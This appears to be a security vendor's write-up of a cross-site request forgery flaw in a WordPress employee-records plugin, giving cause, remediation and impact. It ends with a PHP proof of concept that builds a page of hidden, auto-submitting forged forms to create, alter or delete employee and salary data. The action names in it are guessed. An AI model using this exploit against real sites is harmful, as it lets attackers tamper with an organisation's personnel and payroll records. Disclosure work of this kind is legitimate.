Atomic Edge analysis of CVE-2025-13990 (metadata-based):
The Mamurjor Employee Info WordPress plugin version 1.0.0 contains a Cross-Site Request Forgery vulnerability affecting multiple administrative functions. This vulnerability allows unauthenticated attackers to manipulate all core plugin data types when an administrator performs a specific action while under the influence of a malicious request.
Atomic Edge research identifies the root cause as missing nonce validation on administrative AJAX handlers or form submission endpoints. The CWE-352 classification confirms the plugin fails to verify the origin and intent of administrative requests. The vulnerability description indicates multiple functions lack CSRF protection, allowing forged requests to execute privileged operations. This conclusion is inferred from the CWE classification and standard WordPress plugin patterns, as no source code diff is available for confirmation.
Exploitation requires an attacker to craft a malicious HTML page containing forged requests targeting the plugin’s administrative endpoints. These requests likely target `/wp-admin/admin-ajax.php` with actions prefixed by the plugin slug, such as `mamurjor_employee_info_create_employee`. Alternatively, they may target `/wp-admin/admin-post.php` with specific action parameters. The attacker must trick an administrator with appropriate privileges into visiting the malicious page while authenticated to the WordPress site. Successful exploitation triggers unauthorized creation, modification, or deletion of employee records, departments, designations, salary grades, education records, and salary payments.
Remediation requires implementing proper nonce verification on all administrative AJAX handlers and form processing functions. The plugin must generate unique nonces for each administrative interface and validate them before executing any data manipulation operations. WordPress provides the `wp_verify_nonce()` function for this purpose. Each administrative request should include a nonce parameter checked before processing. The fix should also include proper capability checks using `current_user_can()` to ensure only authorized users can perform actions, though nonce validation remains the primary CSRF defense.
The impact of successful exploitation includes unauthorized modification or deletion of all employee-related data managed by the plugin. Attackers can create fake employee records, alter department structures, modify salary grades, delete education histories, and manipulate salary payment records. This data corruption can disrupt organizational operations, cause financial discrepancies, and compromise personnel information integrity. The CVSS:3.1 vector scores this as 4.3 (AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:L/A:N), reflecting low impact on confidentiality and availability with limited integrity impact.
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept (metadata-based)
// CVE-2025-13990 - Mamurjor Employee Info <= 1.0.0 - Cross-Site Request Forgery to Arbitrary Employee and Related Data Manipulation
<?php
/**
* Proof of Concept for CVE-2025-13990
* This script demonstrates CSRF exploitation against the Mamurjor Employee Info plugin.
* Assumptions based on WordPress plugin patterns:
* 1. The plugin uses admin-ajax.php endpoints with 'action' parameters
* 2. Administrative functions lack nonce validation
* 3. Plugin actions follow naming convention: 'mamurjor_employee_info_*'
* 4. The plugin processes POST requests for data manipulation
*
* WARNING: For authorized security testing only.
*/
$target_url = 'http://vulnerable-wordpress-site.com';
// Common administrative AJAX actions inferred from plugin functionality
$potential_actions = [
'create_employee',
'update_employee',
'delete_employee',
'create_department',
'update_department',
'delete_department',
'create_designation',
'update_designation',
'delete_designation',
'create_salary_grade',
'update_salary_grade',
'delete_salary_grade',
'create_education',
'update_education',
'delete_education',
'create_salary_payment',
'update_salary_payment',
'delete_salary_payment'
];
// Generate HTML page with multiple CSRF forms
$html = '<!DOCTYPE html>
<html>
<head>
<title>CVE-2025-13990 PoC</title>
</head>
<body>
<h1>Mamurjor Employee Info CSRF PoC</h1>
<p>This page contains forged requests targeting administrative functions.</p>
<p>An authenticated administrator visiting this page will trigger unauthorized data manipulation.</p>
<div style="display: none;">';
foreach ($potential_actions as $action) {
$full_action = 'mamurjor_employee_info_' . $action;
$html .= '
<form id="' . $full_action . '" method="POST" action="' . $target_url . '/wp-admin/admin-ajax.php">
<input type="hidden" name="action" value="' . $full_action . '">
<input type="hidden" name="employee_id" value="1">
<input type="hidden" name="employee_name" value="Malicious Employee">
<input type="hidden" name="department" value="Hacked Department">
<input type="hidden" name="designation" value="Compromised Role">
<input type="hidden" name="salary" value="999999">
</form>
<script>
document.getElementById("' . $full_action . '").submit();
</script>';
}
$html .= '
</div>
<p>CSRF forms submitted automatically via JavaScript.</p>
</body>
</html>';
// Output the HTML page
header('Content-Type: text/html');
echo $html;
// Optional: Direct cURL testing for specific action
function test_csrf_via_curl($action, $data) {
$ch = curl_init();
curl_setopt($ch, CURLOPT_URL, $GLOBALS['target_url'] . '/wp-admin/admin-ajax.php');
curl_setopt($ch, CURLOPT_POST, true);
curl_setopt($ch, CURLOPT_POSTFIELDS, $data);
curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
// Include cookies if testing authenticated session
// curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxx=...');
$response = curl_exec($ch);
$http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
curl_close($ch);
return ['code' => $http_code, 'response' => $response];
}
// Example test call (commented out)
/*
$test_data = [
'action' => 'mamurjor_employee_info_create_employee',
'name' => 'Test Employee',
'email' => 'test@example.com',
'department' => '1',
'designation' => '2'
];
$result = test_csrf_via_curl('create_employee', $test_data);
*/
?>
